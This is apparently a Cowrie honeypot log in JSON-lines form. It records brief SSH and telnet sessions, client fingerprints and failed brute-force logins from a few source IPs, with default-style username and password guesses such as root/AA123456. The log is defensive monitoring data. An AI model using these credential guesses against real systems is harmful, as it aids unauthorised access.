{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:41.650740Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52324,"dst_ip":"159.203.135.109","dst_port":22,"session":"deb5e83af8f5","protocol":"ssh","message":"New connection: 192.109.200.78:52324 (159.203.135.109:22) [session: deb5e83af8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:43.239470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:43.244094Z","src_ip":"192.109.200.78","session":"deb5e83af8f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:43.328037Z","src_ip":"192.109.200.78","session":"deb5e83af8f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:43.583245Z","src_ip":"192.109.200.78","session":"deb5e83af8f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:44.675693Z","src_ip":"192.109.200.78","session":"deb5e83af8f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42718,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c9ac8bf0df","protocol":"ssh","message":"New connection: 159.203.92.129:42718 (159.203.135.109:22) [session: c3c9ac8bf0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:45.096567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:45.100727Z","src_ip":"159.203.92.129","session":"c3c9ac8bf0df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:45.107413Z","src_ip":"159.203.92.129","session":"c3c9ac8bf0df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PYX","password":"PigButt1","message":"login attempt [PYX/PigButt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:45.161048Z","src_ip":"159.203.92.129","session":"c3c9ac8bf0df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134658813477,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:45.502362Z","src_ip":"212.252.78.49","session":"eed011af6af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00114154815674,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:45.679337Z","src_ip":"212.252.78.49","session":"bfbb2b7a9c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:46.168301Z","src_ip":"159.203.92.129","session":"c3c9ac8bf0df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38150,"dst_ip":"159.203.135.109","dst_port":22,"session":"023b6ca17247","protocol":"ssh","message":"New connection: 176.65.139.95:38150 (159.203.135.109:22) [session: 023b6ca17247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.397863Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52330,"dst_ip":"159.203.135.109","dst_port":22,"session":"51cf54846691","protocol":"ssh","message":"New connection: 192.109.200.78:52330 (159.203.135.109:22) [session: 51cf54846691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.458293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.464113Z","src_ip":"192.109.200.78","session":"51cf54846691","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.522321Z","src_ip":"176.65.139.95","session":"023b6ca17247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.529870Z","src_ip":"176.65.139.95","session":"023b6ca17247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.545912Z","src_ip":"192.109.200.78","session":"51cf54846691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.795774Z","src_ip":"192.109.200.78","session":"51cf54846691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155901908875,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.944885Z","src_ip":"212.252.78.49","session":"9461701108bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:47.972568Z","src_ip":"176.65.139.95","session":"023b6ca17247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:48.883773Z","src_ip":"192.109.200.78","session":"51cf54846691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:49.087618Z","src_ip":"176.65.139.95","session":"023b6ca17247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51672,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a077b9d298","protocol":"ssh","message":"New connection: 192.109.200.78:51672 (159.203.135.109:22) [session: 89a077b9d298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:51.747633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:51.753124Z","src_ip":"192.109.200.78","session":"89a077b9d298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:51.835861Z","src_ip":"192.109.200.78","session":"89a077b9d298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:52.092678Z","src_ip":"192.109.200.78","session":"89a077b9d298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:53.178826Z","src_ip":"192.109.200.78","session":"89a077b9d298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47542,"dst_ip":"159.203.135.109","dst_port":22,"session":"8750c652c73b","protocol":"ssh","message":"New connection: 176.65.139.95:47542 (159.203.135.109:22) [session: 8750c652c73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:54.127409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:54.131395Z","src_ip":"176.65.139.95","session":"8750c652c73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:54.212994Z","src_ip":"176.65.139.95","session":"8750c652c73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:54.649320Z","src_ip":"176.65.139.95","session":"8750c652c73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:55.737732Z","src_ip":"176.65.139.95","session":"8750c652c73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51674,"dst_ip":"159.203.135.109","dst_port":22,"session":"75e101469e31","protocol":"ssh","message":"New connection: 192.109.200.78:51674 (159.203.135.109:22) [session: 75e101469e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:55.951695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:55.956754Z","src_ip":"192.109.200.78","session":"75e101469e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:56.039270Z","src_ip":"192.109.200.78","session":"75e101469e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00784754753113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:56.087641Z","src_ip":"212.252.78.49","session":"32dbcf2e2b49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:56.300030Z","src_ip":"192.109.200.78","session":"75e101469e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:57.682653Z","src_ip":"192.109.200.78","session":"75e101469e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42806,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d258e61fd79","protocol":"ssh","message":"New connection: 192.109.200.78:42806 (159.203.135.109:22) [session: 9d258e61fd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.230449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.236754Z","src_ip":"192.109.200.78","session":"9d258e61fd79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.320510Z","src_ip":"192.109.200.78","session":"9d258e61fd79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.588420Z","src_ip":"192.109.200.78","session":"9d258e61fd79","protocol":"ssh"}
